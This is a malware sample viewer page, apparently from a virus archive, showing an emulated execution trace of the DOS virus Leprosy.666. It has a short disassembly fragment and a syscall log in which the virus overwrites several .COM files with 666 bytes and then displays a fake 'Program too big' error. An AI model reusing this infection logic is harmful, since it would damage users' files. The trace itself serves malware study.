Sample viewer

vx.netlux.org/Virus.DOS.Leprosy.666.c

.

GIF

Syscalls:

Time Syscall Op Syscall Name
2018-12-17T22:55:09.476121436Z 44 PC: 12b9a | Get time 0x12b9a: cmp byte ptr [0x107], 0
0x12b9f: je 0x12ba6
0x12ba1: cmp dh, 0xf
0x12ba4: jg 0x12baf
0x12ba6: cmp dl, 0
0x12ba9: je 0x12b96
0x12bab: mov byte ptr [0x107], dl
0x12baf: mov byte ptr [0x24b], 0
0x12bb4: mov byte ptr [0x24c], 4
0x12bb9: mov byte ptr [0x255], 0
0x12bbe: mov cx, 0x27
0x12bc1: mov dx, 0x134
0x12bc4: mov ah, 0x4e
0x12bc6: int 0x21
0x12bc8: cmp ax, 0x12
0x12bcb: je 0x12bd0
0x12bcd: call 0x12bf2
0x12bd0: mov cx, 0x27
0x12bd3: mov dx, 0x13a
0x12bd6: mov ah, 0x4e
2018-12-17T22:55:09.478735123Z 78 PC: 12bc8 | Find first file
2018-12-17T22:55:09.485869291Z 78 PC: 12bda | Find first file
2018-12-17T22:55:09.49243435Z 67 PC: 12c13 | Get or set file attributes
2018-12-17T22:55:09.509021209Z 61 PC: 12c19 | Open file (Filename = 'SLEEP.COM')
2018-12-17T22:55:09.518206476Z 63 PC: 12c28 | Read file or device (Read 20 bytes on handle 5)
2018-12-17T22:55:09.526005335Z 62 PC: 12c5c | Close file
2018-12-17T22:55:09.529073335Z 61 PC: 12c65 | Open file (Filename = 'SLEEP.COM')
2018-12-17T22:55:09.537599603Z 64 PC: 12a5c | Write file or device (Write 666 bytes on handle 5)
2018-12-17T22:55:09.547409295Z 87 PC: 12c8d | Get or set file date and time
2018-12-17T22:55:09.549680757Z 62 PC: 12c95 | Close file
2018-12-17T22:55:09.558679142Z 67 PC: 12ca2 | Get or set file attributes
2018-12-17T22:55:09.564837796Z 79 PC: 12c4c | Find next file
2018-12-17T22:55:09.568110973Z 67 PC: 12c13 | Get or set file attributes
2018-12-17T22:55:09.579060168Z 61 PC: 12c19 | Open file (Filename = 'PRINT.COM')
2018-12-17T22:55:09.588281924Z 63 PC: 12c28 | Read file or device (Read 20 bytes on handle 5)
2018-12-17T22:55:09.595999299Z 62 PC: 12c5c | Close file
2018-12-17T22:55:09.598890167Z 61 PC: 12c65 | Open file (Filename = 'PRINT.COM')
2018-12-17T22:55:09.610745005Z 64 PC: 12a5c | Write file or device (Write 666 bytes on handle 5)
2018-12-17T22:55:09.620124608Z 87 PC: 12c8d | Get or set file date and time
2018-12-17T22:55:09.622232803Z 62 PC: 12c95 | Close file
2018-12-17T22:55:09.631856705Z 67 PC: 12ca2 | Get or set file attributes
2018-12-17T22:55:09.636993297Z 79 PC: 12c4c | Find next file
2018-12-17T22:55:09.639965247Z 67 PC: 12c13 | Get or set file attributes
2018-12-17T22:55:09.651726669Z 61 PC: 12c19 | Open file (Filename = 'HELLO.COM')
2018-12-17T22:55:09.659533804Z 63 PC: 12c28 | Read file or device (Read 20 bytes on handle 5)
2018-12-17T22:55:09.667218489Z 62 PC: 12c5c | Close file
2018-12-17T22:55:09.669847554Z 61 PC: 12c65 | Open file (Filename = 'HELLO.COM')
2018-12-17T22:55:09.678567185Z 64 PC: 12a5c | Write file or device (Write 666 bytes on handle 5)
2018-12-17T22:55:09.688541206Z 87 PC: 12c8d | Get or set file date and time
2018-12-17T22:55:09.690816345Z 62 PC: 12c95 | Close file
2018-12-17T22:55:09.700113412Z 67 PC: 12ca2 | Get or set file attributes
2018-12-17T22:55:09.705551591Z 79 PC: 12c4c | Find next file
2018-12-17T22:55:09.708914045Z 67 PC: 12c13 | Get or set file attributes
2018-12-17T22:55:09.733853495Z 61 PC: 12c19 | Open file (Filename = 'PHANG.COM')
2018-12-17T22:55:09.747547162Z 63 PC: 12c28 | Read file or device (Read 20 bytes on handle 5)
2018-12-17T22:55:09.755286519Z 62 PC: 12c5c | Close file
2018-12-17T22:55:09.758134867Z 61 PC: 12c65 | Open file (Filename = 'PHANG.COM')
2018-12-17T22:55:09.768461792Z 64 PC: 12a5c | Write file or device (Write 666 bytes on handle 5)
2018-12-17T22:55:09.777873605Z 87 PC: 12c8d | Get or set file date and time
2018-12-17T22:55:09.780775342Z 62 PC: 12c95 | Close file
2018-12-17T22:55:09.790250534Z 67 PC: 12ca2 | Get or set file attributes
2018-12-17T22:55:09.795757102Z 9 PC: 12cd1 | Display string (String= ' Program too big to fit in memory')
2018-12-17T22:55:09.800997099Z 76 PC: 12cd5 | Terminate with return code (Return code = '36')